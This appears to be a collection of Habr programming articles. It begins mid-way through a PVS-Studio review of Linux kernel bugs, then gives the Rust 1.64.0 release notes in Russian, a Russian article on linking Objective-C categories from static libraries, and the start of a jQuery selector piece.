However, it's easy to configure the analyzer. Failed macros are responsible for most warnings. A little later, we'll filter the report and review it in depth. We hope to provide you with an opportunity to read another detailed article about the errors we found.
### Pointer dereference before the check
[V595](https://pvs-studio.com/en/w/v595/) The 'speakup\_console[vc->vc\_num]' pointer was utilized before it was verified against nullptr. Check lines: 1804, 1822. main.c 1804
```
static void do_handle_spec(struct vc_data *vc, u_char value, char up_flag)
{
unsigned long flags;
int on_off = 2;
char *label;
if (!synth || up_flag || spk_killed)
return;
....
switch (value) {
....
case KVAL(K_HOLD):
label = spk_msg_get(MSG_KEYNAME_SCROLLLOCK);
on_off = vt_get_leds(fg_console, VC_SCROLLOCK);
if (speakup_console[vc->vc_num]) // <= check
speakup_console[vc->vc_num]->tty_stopped = on_off;
break;
....
}
....
}
```
The analyzer issues a warning because the \*speakup\_console[vc->vc\_num] \*pointer is dereferenced before the check. Glancing through the code, you may think it's a false positive. In fact, we do have a dereference here.
Guess where? :) The dereference happens in the *spk\_killed* macro. Yeah, the variable has nothing to do with this, as it may seem at first glance:
```
#define spk_killed (speakup_console[vc->vc_num]->shut_up & 0x40)
```
Most likely the programmer who changed this code did not expect dereferences. So, they made a check because somewhere a null pointer is passed. Such macros that look like variables and are not constants, make it difficult to maintain code. They make code more vulnerable to errors.
### Typo in the mask
[V519](https://pvs-studio.com/en/w/v519/) The 'data' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 6208, 6209. cik.c 6209
```
static void cik_enable_uvd_mgcg(struct radeon_device *rdev,
bool enable)
{
u32 orig, data;
if (enable && (rdev->cg_flags & RADEON_CG_SUPPORT_UVD_MGCG)) {
data = RREG32_UVD_CTX(UVD_CGC_MEM_CTRL);
data = 0xfff; // <=
WREG32_UVD_CTX(UVD_CGC_MEM_CTRL, data);
orig = data = RREG32(UVD_CGC_CTRL);
data |= DCM;
if (orig != data)
WREG32(UVD_CGC_CTRL, data);
} else {
data = RREG32_UVD_CTX(UVD_CGC_MEM_CTRL);
data &= ~0xfff; // <=
WREG32_UVD_CTX(UVD_CGC_MEM_CTRL, data);
orig = data = RREG32(UVD_CGC_CTRL);
data &= ~DCM;
if (orig != data)
WREG32(UVD_CGC_CTRL, data);
}
}
```
The example is taken from the driver code for Radeon video cards. Since the \*0xfff \*value is used in the *else* branch, we can assume that this is a bit mask. At the same time, in the *then* branch, the value received in the above line is overwritten without applying a mask. The right code is likely to be as follows:
```
data = RREG32_UVD_CTX(UVD_CGC_MEM_CTRL);
data &= 0xfff;
WREG32_UVD_CTX(UVD_CGC_MEM_CTRL, data);
```
### Error in selecting types
[V610](https://pvs-studio.com/en/w/v610/) Undefined behavior. Check the shift operator '>>='. The right operand ('bitpos % 64' = [0..63]) is greater than or equal to the length in bits of the promoted left operand. master.c 354
```
// bitsperlong.h
#ifdef CONFIG_64BIT
#define BITS_PER_LONG 64
#else
#define BITS_PER_LONG 32
#endif /* CONFIG_64BIT */
// bits.h
/*
* Create a contiguous bitmask starting at bit position @l and ending at
* position @h. For example
* GENMASK_ULL(39, 21) gives us the 64bit vector 0x000000ffffe00000.
*/
#define __GENMASK(h, l) ....
// master.h
#define I2C_MAX_ADDR GENMASK(6, 0)
// master.c
static enum i3c_addr_slot_status
i3c_bus_get_addr_slot_status(struct i3c_bus *bus, u16 addr)
{
int status, bitpos = addr * 2; // <=
if (addr > I2C_MAX_ADDR)
return I3C_ADDR_SLOT_RSVD;
status = bus->addrslots[bitpos / BITS_PER_LONG];
status >>= bitpos % BITS_PER_LONG; // <=
return status & I3C_ADDR_SLOT_STATUS_MASK;
}
```
Note that the *BITS\_PER\_LONG* macro can be 64-bit.
The code contains undefined behavior:
* after the check is performed, the *addr* variable can be in the range [0..127]
* if the formal parameter is *addr >= 16*, then the *status* variable is right-shifted by a number of bits more than the *int* type contains (32 bits).
Perhaps, the author wanted to reduce the number of lines and declared the *bitpos* variable next to the *status* variable. However, the programmer did not take into account that *int* has a 32-bit size on 64-bit platforms, unlike the *long* type.
To fix this, declare the \*status \*variable with the *long* type.
### Null pointer dereferencing after verification
[V522](https://pvs-studio.com/en/w/v522/) Dereferencing of the null pointer 'item' might take place. mlxreg-hotplug.c 294
```
static void
mlxreg_hotplug_work_helper(struct mlxreg_hotplug_priv_data *priv,
struct mlxreg_core_item *item)
{
struct mlxreg_core_data *data;
unsigned long asserted;
u32 regval, bit;
int ret;
/*
* Validate if item related to received signal type is valid.
* It should never happen, excepted the situation when some
* piece of hardware is broken. In such situation just produce
* error message and return. Caller must continue to handle the
* signals from other devices if any.
*/
if (unlikely(!item)) {
dev_err(priv->dev, "False signal: at offset:mask 0x%02x:0x%02x.\n",
item->reg, item->mask);
return;
}
// ....
}
```
Here we have a classic error: if the pointer is null, we receive an error message. However, the same pointer is used when a message is formed. Of course, it's easy to detect the same kind of errors at the testing stage. But this case is slightly different – judging by the comment, the dereference can happen if "a piece of hardware is broken". In any case, it is bad code, and it must be fixed.
### Conclusion
The Linux project check was an exciting challenge for us. We managed to try a new feature of PVS-Studio – intermodular analysis. The Linux kernel is a great world-famous project. Many people and organizations fight for its quality. We are happy to see that the developers keep refining the kernel quality. And we are developing our analyzer too! Recently, we opened our images folder. It demonstrated how the friendship of our analyzer with Tux started. Just take a look at these pictures!
Unicorn N81:
Unicorn N57:
An alternative unicorn with penguin N1:
Thanks for your time! [Try](https://pvs-studio.com/linux-30) to check your project with PVS-Studio. Since the Linux kernel turns 30, here's a promo code for a month: **#linux30**. | https://habr.com/ru/post/574836/ | null | en | null |
# Rust 1.64.0: rust-analyzer в rustup, IntoFuture, ffi-типы в core и alloc, улучшения в Cargo
Команда Rust рада сообщить о новой версии языка — 1.64.0. Rust — это язык программирования, позволяющий каждому создавать надёжное и эффективное программное обеспечение.
Если у вас есть предыдущая версия Rust, установленная через `rustup`, то для обновления до версии 1.64.0 вам достаточно выполнить команду:
```
rustup update stable
```
Если у вас ещё нет `rustup`, то можете установить его со [страницы](https://www.rust-lang.org/install.html) на нашем веб-сайте, а также ознакомиться с [подробным описанием выпуска 1.64.0](https://github.com/rust-lang/rust/blob/stable/RELEASES.md#version-1640-2022-09-22) на GitHub.
Если вы хотите помочь нам протестировать будущие выпуски, вы можете использовать beta (`rustup default beta`) или nightly (`rustup default nightly`) канал. Пожалуйста, [сообщайте](https://github.com/rust-lang/rust/issues/new/choose) обо всех встреченных вами ошибках.
Что стабилизировано в 1.64.0
----------------------------
### Улучшение `.await` с помощью `IntoFuture`
В Rust 1.64 стабилизирован трейт [`IntoFuture`](https://doc.rust-lang.org/std/future/trait.IntoFuture.html). Он похож на трейт [`IntoIterator`](https://doc.rust-lang.org/std/iter/trait.IntoIterator.html), но вместо поддержки циклов `for ... in ...`, `IntoFuture` изменяет поведение `.await`. С `IntoFuture` ключевое слово `.await` может применяться не только на футурах, но и на *всём, что может быть преобразовано в `Future` при помощи `IntoFuture`*, что сделает ваше API более простым для использования!
Возьмём, к примеру, билдер, который создаёт запрос к некоторому сетевому хранилищу:
```
pub struct Error { ... }
pub struct StorageResponse { ... }:
pub struct StorageRequest(bool);
impl StorageRequest {
/// Создать новый экземпляр `StorageRequest`.
pub fn new() -> Self { ... }
/// Решить, будет ли включён отладочный режим.
pub fn set_debug(self, b: bool) -> Self { ... }
/// Отправить запрос и получить ответ.
pub async fn send(self) -> Result { ... }
}
```
Типичное использование, вероятно, будет выглядеть так:
```
let response = StorageRequest::new() // 1. Создать экземпляр
.set_debug(true) // 2. Установить некоторые настройки
.send() // 3. Сконструировать Future
.await?; // 4. Запустить Future + пробросить ошибки
```
Это уже неплохо, но мы можем сделать лучше. Используя `IntoFuture`, мы можем сделать за один шаг *"создание футуры"* (строка 3) и *"запуск футуры"* (строка 4):
```
let response = StorageRequest::new() // 1. Создать экземпляр
.set_debug(true) // 2. Установить некоторые настройки
.await?; // 3. Сконструировать + запустить Future + пробросить ошибки
```
Мы можем сделать это, реализовав `IntoFuture` для `StorageRequest`. `IntoFuture` требует от нас наличия именованной футуры, которую мы возвращаем. Её мы можем создать упакованной и объявить для неё псевдоним:
```
// Сначала мы должны импортировать в область видимости несколько новых типов.
use std::pin::Pin;
use std::future::{Future, IntoFuture};
pub struct Error { ... }
pub struct StorageResponse { ... }
pub struct StorageRequest(bool);
impl StorageRequest {
/// Создадим новый экземпляр `StorageRequest`.
pub fn new() -> Self { ... }
/// Решим, следует ли включить режим отладки.
pub fn set_debug(self, b: bool) -> Self { ... }
/// Отправим запрос и получим ответ
pub async fn send(self) -> Result { ... }
}
// Новая имплементация
// 1. Создадим новый именованный тип футуры
// 2. Имплементируем `IntoFuture` для `StorageRequest`
pub type StorageRequestFuture = Pin + Send + 'static>>
impl IntoFuture for StorageRequest {
type IntoFuture = StorageRequestFuture;
type Output = ::Output;
fn into\_future(self) -> Self::IntoFuture {
Box::pin(self.send())
}
}
```
Это требует немного больше кода для реализации, но предоставляет более простой API для пользователей.
Мы надеемся, что в будущем Rust Async WG упростит создание новой именованной футуры при помощи [`impl Trait` в `type` ("Type Alias Impl Trait" или TAIT)](https://rust-lang.github.io/impl-trait-initiative/explainer/tait.html). Это должно облегчить реализацию `IntoFuture` за счёт упрощения сигнатуры псевдонима и улучшить производительность за счёт удаления из псевдонима упаковки (`Box`).
### C-совместимые типы FFI в core и alloc
Вызывая или будучи вызванным C ABI, код Rust может использовать псевдонимы типов, такие как `c_uint` или `c_ulong` для сопоставления соответствующих типов из C на любой целевой сборке, не требуя специализированного кода или условий.
Раньше эти псевдонимы типов были доступны только в `std`, поэтому код, написанный для встроенных систем и других сценариев, которые могли использовать только `core` или `alloc`, не мог использовать эти типы.
Rust 1.64 теперь предоставляет все псевдонимы типа `c_*` в [`core::ffi`](https://doc.rust-lang.org/core/ffi/index.html), а также [`core::ffi::CStr`](https://doc.rust-lang.org/core/ffi/struct.CStr.html) для работы со строками C. Rust 1.64 также предоставляет [`alloc::ffi::CString`](https://doc.rust-lang.org/alloc/ffi/struct.CString.html) для работы с собственными строками C, используя только крейт `alloc`, а не полную библиотеку `std`.
### Rust-analyzer теперь доступен через rustup
[Rust-analyzer](https://rust-analyzer.github.io/) теперь входит в набор инструментов, включённых в Rust. Это упрощает загрузку и доступ к rust-analyzer, а также делает его доступным на большем количестве платформ. Он доступен как [компонент rustup](https://rust-lang.github.io/rustup/concepts/components.html), который можно установить с помощью:
```
rustup component add rust-analyzer
```
В настоящее время, чтобы запустить версию, установленную rustup, вам нужно вызвать её следующим образом:
```
rustup run stable rust-analyzer
```
В следующем выпуске rustup предоставит встроенный прокси-сервер, так что при запуске исполняемого файла `rust-analyzer` будет запускаться соответствующая версия.
Большинству пользователей следует продолжать использовать выпуски, предоставленные командой rust-analyzer, которые публикуются чаще. Они доступны на [странице выпусков rust-analyzer](https://github.com/rust-lang/rust-analyzer/releases). Это не затрагивает пользователей [официального расширения VSCode](https://marketplace.visualstudio.com/items?itemName=rust-lang.rust-analyzer), поскольку оно автоматически загружает и обновляет выпуски в фоновом режиме.
### Улучшения Cargo: наследование рабочего пространства и многоцелевые сборки
Теперь при работе с коллекциями связанных библиотек или бинарных крейтов в одном рабочем пространстве Cargo, вы можете избежать дублирования общих значений полей между крейтами, таких как общие номера версий, URL-адреса репозитория или `rust-version`. Это также помогает синхронизировать эти значения между крейтами при их обновлении. Дополнительные сведения см. в [`workspace.package`](https://doc.rust-lang.org/cargo/reference/workspaces.html#the-package-table), [`workspace.dependencies`](https://doc.rust-lang.org/cargo/reference/workspaces.html#the-dependencies-table) и ["наследование зависимости от рабочего пространства"](https://doc.rust-lang.org/cargo/reference/specifying-dependencies.html#inheriting-a-dependency-from-a-workspace).
При сборке для нескольких целей вы сможете передать несколько опций `--target` в `cargo build`, чтобы собрать их все одновременно. Вы также можете установить для [`build.target`](https://doc.rust-lang.org/cargo/reference/config.html#buildtarget) массив из нескольких целей в `.cargo/config.toml`, чтобы по умолчанию выполнять сборку для нескольких целей.
### Стабилизированные API
Стабилизированы следующие методы и реализации трейтов:
* [`future::IntoFuture`](https://doc.rust-lang.org/stable/std/future/trait.IntoFuture.html)
* [`num::NonZero*::checked_mul`](https://doc.rust-lang.org/stable/std/num/struct.NonZeroUsize.html#method.checked_mul)
* [`num::NonZero*::checked_pow`](https://doc.rust-lang.org/stable/std/num/struct.NonZeroUsize.html#method.checked_pow)
* [`num::NonZero*::saturating_mul`](https://doc.rust-lang.org/stable/std/num/struct.NonZeroUsize.html#method.saturating_mul)
* [`num::NonZero*::saturating_pow`](https://doc.rust-lang.org/stable/std/num/struct.NonZeroUsize.html#method.saturating_pow)
* [`num::NonZeroI*::abs`](https://doc.rust-lang.org/stable/std/num/struct.NonZeroIsize.html#method.abs)
* [`num::NonZeroI*::checked_abs`](https://doc.rust-lang.org/stable/std/num/struct.NonZeroIsize.html#method.checked_abs)
* [`num::NonZeroI*::overflowing_abs`](https://doc.rust-lang.org/stable/std/num/struct.NonZeroIsize.html#method.overflowing_abs)
* [`num::NonZeroI*::saturating_abs`](https://doc.rust-lang.org/stable/std/num/struct.NonZeroIsize.html#method.saturating_abs)
* [`num::NonZeroI*::unsigned_abs`](https://doc.rust-lang.org/stable/std/num/struct.NonZeroIsize.html#method.unsigned_abs)
* [`num::NonZeroI*::wrapping_abs`](https://doc.rust-lang.org/stable/std/num/struct.NonZeroIsize.html#method.wrapping_abs)
* [`num::NonZeroU*::checked_add`](https://doc.rust-lang.org/stable/std/num/struct.NonZeroUsize.html#method.checked_add)
* [`num::NonZeroU*::checked_next_power_of_two`](https://doc.rust-lang.org/stable/std/num/struct.NonZeroUsize.html#method.checked_next_power_of_two)
* [`num::NonZeroU*::saturating_add`](https://doc.rust-lang.org/stable/std/num/struct.NonZeroUsize.html#method.saturating_add)
* [`os::unix::process::CommandExt::process_group`](https://doc.rust-lang.org/stable/std/os/unix/process/trait.CommandExt.html#tymethod.process_group)
* [`os::windows::fs::FileTypeExt::is_symlink_dir`](https://doc.rust-lang.org/stable/std/os/windows/fs/trait.FileTypeExt.html#tymethod.is_symlink_dir)
* [`os::windows::fs::FileTypeExt::is_symlink_file`](https://doc.rust-lang.org/stable/std/os/windows/fs/trait.FileTypeExt.html#tymethod.is_symlink_file)
Типы, ранее стабилизированные в `std::ffi` и теперь доступные в `core` и `alloc`:
* [`core::ffi::CStr`](https://doc.rust-lang.org/stable/core/ffi/struct.CStr.html)
* [`core::ffi::FromBytesWithNulError`](https://doc.rust-lang.org/stable/core/ffi/struct.FromBytesWithNulError.html)
* [`alloc::ffi::CString`](https://doc.rust-lang.org/stable/alloc/ffi/struct.CString.html)
* [`alloc::ffi::FromVecWithNulError`](https://doc.rust-lang.org/stable/alloc/ffi/struct.FromVecWithNulError.html)
* [`alloc::ffi::IntoStringError`](https://doc.rust-lang.org/stable/alloc/ffi/struct.IntoStringError.html)
* [`alloc::ffi::NulError`](https://doc.rust-lang.org/stable/alloc/ffi/struct.NulError.html)
Типы, ранее стабилизированные в `std::os::raw` и теперь доступные в `core::ffi` и `std::ffi`:
* [`ffi::c_char`](https://doc.rust-lang.org/stable/std/ffi/type.c_char.html)
* [`ffi::c_double`](https://doc.rust-lang.org/stable/std/ffi/type.c_double.html)
* [`ffi::c_float`](https://doc.rust-lang.org/stable/std/ffi/type.c_float.html)
* [`ffi::c_int`](https://doc.rust-lang.org/stable/std/ffi/type.c_int.html)
* [`ffi::c_long`](https://doc.rust-lang.org/stable/std/ffi/type.c_long.html)
* [`ffi::c_longlong`](https://doc.rust-lang.org/stable/std/ffi/type.c_longlong.html)
* [`ffi::c_schar`](https://doc.rust-lang.org/stable/std/ffi/type.c_schar.html)
* [`ffi::c_short`](https://doc.rust-lang.org/stable/std/ffi/type.c_short.html)
* [`ffi::c_uchar`](https://doc.rust-lang.org/stable/std/ffi/type.c_uchar.html)
* [`ffi::c_uint`](https://doc.rust-lang.org/stable/std/ffi/type.c_uint.html)
* [`ffi::c_ulong`](https://doc.rust-lang.org/stable/std/ffi/type.c_ulong.html)
* [`ffi::c_ulonglong`](https://doc.rust-lang.org/stable/std/ffi/type.c_ulonglong.html)
* [`ffi::c_ushort`](https://doc.rust-lang.org/stable/std/ffi/type.c_ushort.html)
Были стабилизированы несколько вспомогательных функций, которые используются с `Poll`, низкоуровневой реализацией футур:
* [`future::poll_fn`](https://doc.rust-lang.org/stable/std/future/fn.poll_fn.html)
* [`task::ready!`](https://doc.rust-lang.org/stable/std/task/macro.ready.html)
Мы надеемся, что в будущем сможем предоставить более простое API, которое будет требовать меньше использования низкоуровневых деталей, таких как `Poll` и `Pin`. Но сейчас данные вспомогательные функции упростят написание такого кода.
Следующие API теперь возможно использовать в контексте `const`:
* [`slice::from_raw_parts`](https://doc.rust-lang.org/stable/core/slice/fn.from_raw_parts.html)
### Замечания о совместимости
* Как было [ранее анонсировано](https://blog.rust-lang.org/2022/08/01/Increasing-glibc-kernel-requirements.html), для компиляции целей `linux` потребуется ядро Linux 3.2 и выше (за исключением тех целей, которые уже требуют более новое ядро). Также цели `linux-gnu` теперь требуют glibc 2.17 (за исключением тех, которые уже требуют более новую glibc).
* Rust 1.64.0 изменяет структуру размещения в памяти `Ipv4Addr`, `Ipv6Addr`, `SocketAddrV4` и `SocketAddrV6`, чтобы сделать её более компактной и эффективной. Это внутреннее представление никогда не раскрывалось, но некоторые крейты всё равно полагались на него, используя `std::mem::transmute`, что приводило к недопустимым обращениям к памяти. Такие детали внутренней реализации стандартной библиотеки *никогда не* считаются стабильным интерфейсом. Чтобы ограничить ущерб, мы работали с авторами всех ещё поддерживаемых крейтов, чтобы выпустить исправленные версии, которые отсутствовали более года. Подавляющее большинство затронутых пользователей будут иметь возможность смягчить последствия с помощью `cargo update`.
* В рамках [прекращения поддержки RLS](https://blog.rust-lang.org/2022/07/01/RLS-deprecation.html) это также последний выпуск, содержащий копию RLS. Начиная с Rust 1.65.0, RLS будет заменён небольшим сервером LSP, показывающим предупреждение об устаревании.
### Прочие изменения
Выпуск Rust 1.64 включает и другие изменения:
* Компилятор Rust для Windows теперь собирается с PGO, что даёт прирост производительности при компилировании кода на 10-20%.
* Если вы объявляли структуру, содержащую поле, которое никогда не используется, то rustc об этом предупреждал. Теперь вы можете включить проверку `unused_tuple_struct_fields`, чтобы получить аналогичное предупреждение о неиспользуемых полях в кортежных структурах. В будущих версиях мы планируем включить эту проверку по умолчанию. Для полей единичного типа (`()`) такое предупреждение не будет генерироваться для облегчения миграции существующего кода без изменения индексов кортежа.
Проверьте всё, что изменилось в [Rust](https://github.com/rust-lang/rust/blob/stable/RELEASES.md#version-1640-2022-09-22), [Cargo](https://github.com/rust-lang/cargo/blob/master/CHANGELOG.md#cargo-164-2022-09-22) и [Clippy](https://github.com/rust-lang/rust-clippy/blob/master/CHANGELOG.md#rust-164).
### Участники 1.64.0
Многие люди собрались вместе, чтобы создать Rust 1.64.0. Без вас мы бы не справились. [Спасибо!](https://thanks.rust-lang.org/rust/1.64.0/)
От переводчиков
---------------
С любыми вопросами по языку Rust вам смогут помочь в [русскоязычном Телеграм-чате](https://t.me/rustlang_ru) или же в аналогичном [чате для новичковых вопросов](https://t.me/rust_beginners_ru). Если у вас есть вопросы по переводам или хотите помогать с ними, то обращайтесь в [чат переводчиков](https://t.me/rustlang_ru_translations).
Данную статью совместными усилиями перевели [andreevlex](https://habr.com/ru/users/andreevlex/) [TelegaOvoshey](https://habr.com/ru/users/telegaovoshey/) и [funkill](https://habr.com/ru/users/funkill/). | https://habr.com/ru/post/689876/ | null | ru | null |
# Objective-C, static libraries, categories, -ObjC, боль…
Не всем повезло писать приложения полностью на Swift, да и еще под ios 8+ онли. Много легаси на Objective-C, много зависимостей идет через статик либы, ни cocoapods, ни carthage, всё ручками. Мы же крутые девелоперы, поэтому строго следуем DRY и все реюзабельные вкусшянки выносим либо в отдельные проекты, либо в статик библиотеки. Сейчас рассмотрим случай, когда мы сделали классную статичную библиотечку с не менее прикольным апи, и хотели бы поделиться с товарищами по цеху внутри компании — на вики ресурсе/гите выложить архивчик с либой, хедерами и, конечно же, ридмиком где описан весь апи и как им пользоваться.
Для примера ради рассмотрим один класс + его категорию

На скриншоте у нас структура проекта, где класс + класс категория, всё просто. Собираем обычным образом, пишем readme.md с описанием апи и архивируем библиотеку. Всё круто, залили на вики, пацанам твитнули в slack/skype/etc и пошли себе за очередным кофе. Только присели обратно со свежесваренным кофе и курсор мышки почти достиг закладки на хабр, как в чаты посыпались какие-то логи, и все требуют вашего немедленного ответа, так как проблема в свежезарелизенной либе. Вас бросило в пот, ведь у вас тестовое покрытие 146%, всё на сто раз перепроверено. В это же самое время в чате уже в личку снова пишут тот же самый лог ошибки:
```
*** Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: '-[Deadpool guns]: unrecognized selector sent to instance 0x7ffecbc12df0'
```
После ознакомления с логом, причина ясна и до боли знакома когда часто работаешь со статик либами. Поняв проблему, вы уверенно вытираете пот со лба, открываете ранее отправленный readme.md и дописываете:
*Don't forget to add '-ObjC' flag to 'Other Linker Flags' in Build Settins of Xcode's scheme.*
После, обновили вики, снова всех оповестили и вроде всё успокоилось, месседжеры замолкли, кофе даже не успело остыть. «Ну сейчас точно никто меня не оставновит» — шепчет ваш внутренний голос и курсор мыши снова тянется к заветной закладке (ненене, только хабр!). От желанного тебя отделяет только клик по левой кнопке мыши, но тебя не покидает мысль: «Можно ли было избежать этой ошибки или как предотвратить ее в будущем?!». «Да к черту всё!» — воскликнул внутренний голос и курсор потянулся к Terminal.app.
```
otool -tV -arch x86_64 libDeadpool.a
```
выдает:
```
Archive : libDeadpool.a
libDeadpool.a(Deadpool+Guns.o):
(__TEXT,__text) section
-[Deadpool(Guns) guns]:
0000000000000000 pushq %rbp
0000000000000001 movq %rsp, %rbp
0000000000000004 subq $0x10, %rsp
0000000000000008 leaq 0x71(%rip), %rax ## Objc cfstring ref: @"sword 2"
000000000000000f movd %rax, %xmm0
0000000000000014 leaq 0x45(%rip), %rax ## Objc cfstring ref: @"sword 1"
000000000000001b movd %rax, %xmm1
0000000000000020 punpcklqdq %xmm0, %xmm1 ## xmm1 = xmm1[0],xmm0[0]
0000000000000024 movdqa %xmm1, -0x10(%rbp)
0000000000000029 movq 0x70(%rip), %rdi ## Objc class ref: NSArray
0000000000000030 movq 0x91(%rip), %rsi ## Objc selector ref: arrayWithObjects:count:
0000000000000037 leaq -0x10(%rbp), %rdx
000000000000003b movl $0x2, %ecx
0000000000000040 callq *_objc_msgSend(%rip)
0000000000000046 addq $0x10, %rsp
000000000000004a popq %rbp
000000000000004b retq
libDeadpool.a(Deadpool.o):
(__TEXT,__text) section
-[Deadpool name]:
0000000000000000 pushq %rbp
0000000000000001 movq %rsp, %rbp
0000000000000004 movq 0x1d(%rip), %rsi ## Objc selector ref: class
000000000000000b callq *_objc_msgSend(%rip)
0000000000000011 movq %rax, %rdi
0000000000000014 popq %rbp
0000000000000015 jmp _NSStringFromClass
```
хм, в самой либе все методы на месте, теперь посмотрим исходники приложения:
```
otool -tV -arch x86_64 DemoApp.app/DemoApp | grep Deadpool
```
выдает:
```
0000000100001ae8 movq 0x21f1(%rip), %rdi ## Objc class ref: Deadpool
0000000100001af6 movq 0x1513(%rip), %r12 ## Objc message: +[Deadpool new]
-[Deadpool name]:
```
WTF! Окей гугл, где же все таки метод из категории?
гугл нам умело подсовывает ссылку на документацию эпла по этой как раз проблеме <https://developer.apple.com/library/mac/qa/qa1490/_index.html>, где беглый перевод говорит следующее:
**The Linker**
> Когда си-программа скомпилирована, то каждый файл (.c) компилируется в так называемый «object file» (.o), который содержит имплементации функций и другую статичную информацию. После линкер собирает все эти файлы в один конечный файл — executable. И этот executable файл как раз и попадает внутрь нашей .app посредством Xcode.
>
>
>
> Но когда source файл (.c) использует что либо, например функцию, что определено в другом файле (другой .c файл), тогда «undefined symbol» записывается в .o файл для этого участка кода. И на этапе сборки линкеру достаточно информации чтобы по «undefined symbol» понять откуда нужно вытащить недостающую вещь чтобы собрать конечный executable. Это описание для сборки UNIX static library.
**Objective-C**
> Из-за динамической природы языка этот процесс в Objective-C немного усложнен, так как поиск реализации метода происходит только по факту обращения к этому методу. Objective-C не определяет вспомогательных symbols для методов линкеру, а только определяет symbols для классов. Например, в классе/файле main.o есть код:
>
>
>
> [[FooClass alloc] initWithBar:nil]
>
>
>
> то есть, FooClass это отдельный класс, в отдельном FooClass.o файле, так вот main.o будет только содержать «undefined symbol» для самого FooClass, но никаких дополнительных symbols для метода -initWithBar: в этом классе.
>
>
>
> Так как категория это просто отдельный файл с методами, то у линкера нет совершенно никакой информации, что этот файл нужно слинковать, так как для методов не создаются вспомогательные линкеру «undefined symbol» штуки.
Так, вроде разобрались, еще раз посмотрим на байт код либы:
```
Archive : libDeadpool.a
libDeadpool.a(Deadpool+Guns.o):
(__TEXT,__text) section
-[Deadpool(Guns) guns]:
0000000000000000 pushq %rbp
0000000000000001 movq %rsp, %rbp
0000000000000004 subq $0x10, %rsp
0000000000000008 leaq 0x71(%rip), %rax ## Objc cfstring ref: @"sword 2"
000000000000000f movd %rax, %xmm0
0000000000000014 leaq 0x45(%rip), %rax ## Objc cfstring ref: @"sword 1"
000000000000001b movd %rax, %xmm1
0000000000000020 punpcklqdq %xmm0, %xmm1 ## xmm1 = xmm1[0],xmm0[0]
0000000000000024 movdqa %xmm1, -0x10(%rbp)
0000000000000029 movq 0x70(%rip), %rdi ## Objc class ref: NSArray
0000000000000030 movq 0x91(%rip), %rsi ## Objc selector ref: arrayWithObjects:count:
0000000000000037 leaq -0x10(%rbp), %rdx
000000000000003b movl $0x2, %ecx
0000000000000040 callq *_objc_msgSend(%rip)
0000000000000046 addq $0x10, %rsp
000000000000004a popq %rbp
000000000000004b retq
libDeadpool.a(Deadpool.o):
(__TEXT,__text) section
-[Deadpool name]:
0000000000000000 pushq %rbp
0000000000000001 movq %rsp, %rbp
0000000000000004 movq 0x1d(%rip), %rsi ## Objc selector ref: class
000000000000000b callq *_objc_msgSend(%rip)
0000000000000011 movq %rax, %rdi
0000000000000014 popq %rbp
0000000000000015 jmp _NSStringFromClass
```
Действительно, у нас скомпилировалось два файла **Deadpool.o** и **Deadpool+Guns.o**, так как второй файл это просто набор методов для первого, то линкер о нем ничего не знает и поэтому получаем эту ошибку только в рантайме.
Сразу первое решение — перенести категорию в файл основного класса. Да, это будет работать :) но для нас это не совсем удобно, так как мы привыкли все категории держать в отдельных папочках для порядка.
Другое решение. Те, кто использует нашу либу, должны указать -ObjC флаг в «Other Linker Flags», этот флаг говорит линкеру загрузить всё всё всё из статичной либы. Ну, нам подходит это решение тем, что на нашей стороне ничего править не нужно. Но если подумать, если разработчик подключит кучу либ и только из-за нашей ему приходится добавлять этот флаг, то он может получить нехилое прибавление в весе для своего приложения (я так предполагаю).
А можно ли как то сказать линкеру, чтобы он собрал класс и его категории в один файл? Оказывается есть такое и название ему «Perform Single-Object Prelink» или «GENERATE\_MASTER\_OBJECT\_FILE» в pbxproj файле. Правда происходит не просто объединение класса и его категории в единый файл, а все файлы проекта будут как единый «object file». Если это значение выставить в true, то мы должны получить поведение, которое хотим. Проверим.
Выставляем:

```
otool -tV -arch x86_64 libDeadpool.a
```
получаем:
```
Archive : libDeadpool.a
libDeadpool.a(libDeadpool.a-x86_64-master.o):
(__TEXT,__text) section
-[Deadpool(Guns) guns]:
0000000000000000 pushq %rbp
0000000000000001 movq %rsp, %rbp
0000000000000004 subq $0x10, %rsp
0000000000000008 leaq 0x149(%rip), %rax ## Objc cfstring ref: @"sword 2"
000000000000000f movd %rax, %xmm0
0000000000000014 leaq 0x11d(%rip), %rax ## Objc cfstring ref: @"sword 1"
000000000000001b movd %rax, %xmm1
0000000000000020 punpcklqdq %xmm0, %xmm1 ## xmm1 = xmm1[0],xmm0[0]
0000000000000024 movdqa %xmm1, -0x10(%rbp)
0000000000000029 movq 0x270(%rip), %rdi ## Objc class ref: NSArray
0000000000000030 movq 0x259(%rip), %rsi ## Objc selector ref: arrayWithObjects:count:
0000000000000037 leaq -0x10(%rbp), %rdx
000000000000003b movl $0x2, %ecx
0000000000000040 callq *_objc_msgSend(%rip)
0000000000000046 addq $0x10, %rsp
000000000000004a popq %rbp
000000000000004b retq
-[Deadpool name]:
000000000000004c pushq %rbp
000000000000004d movq %rsp, %rbp
0000000000000050 movq 0x241(%rip), %rsi ## Objc selector ref: class
0000000000000057 callq *_objc_msgSend(%rip)
000000000000005d movq %rax, %rdi
0000000000000060 popq %rbp
0000000000000061 jmp _NSStringFromClass
```
Что и хотели, сейчас всё в одном файле **libDeadpool.a-x86\_64-master.o**. Убираем из приложения *-ObjC* и пересобираем с новой версией нашей библиотеки и смотрим:
```
otool -tV -arch x86_64 DemoApp.app/DemoApp | grep Deadpool
```
вывод:
```
0000000100001a70 movq 0x22c9(%rip), %rdi ## Objc class ref: Deadpool
0000000100001a7e movq 0x158b(%rip), %r12 ## Objc message: +[Deadpool new]
-[Deadpool(Guns) guns]:
-[Deadpool name]:
```
Отлично. Сейчас можно обратно из readme.md удалять информацию о *-ObjC* флаге, смело открывать хабр и допивать, к сожалению, уже остывший кофе )
пс.
Проблема старая, давно ее решил, сейчас вот дошли руки написать и более подробно в этом разобраться )
Не уверен в идеальности решения, но мне помогло с этой проблемой, может кому будет интересно.
Полезные ссылки:
<https://developer.apple.com/library/mac/qa/qa1490/_index.html>
<http://stackoverflow.com/questions/2567498/objective-c-categories-in-static-library> | https://habr.com/ru/post/283570/ | null | ru | null |
# jQuery:step() селектор произвольной позиции
Одна из самых потрясающих вещей в jQuery — это движок селекторов. Доступ к элементам DOM используюя селекторы в jQuery становиться довольно простой задачей, еще и потому, что большинство селекторов используют те же выражения что и селекторы в CSS. Это то что веб-дизайнеры НЕ программисты могут легко усвоить.
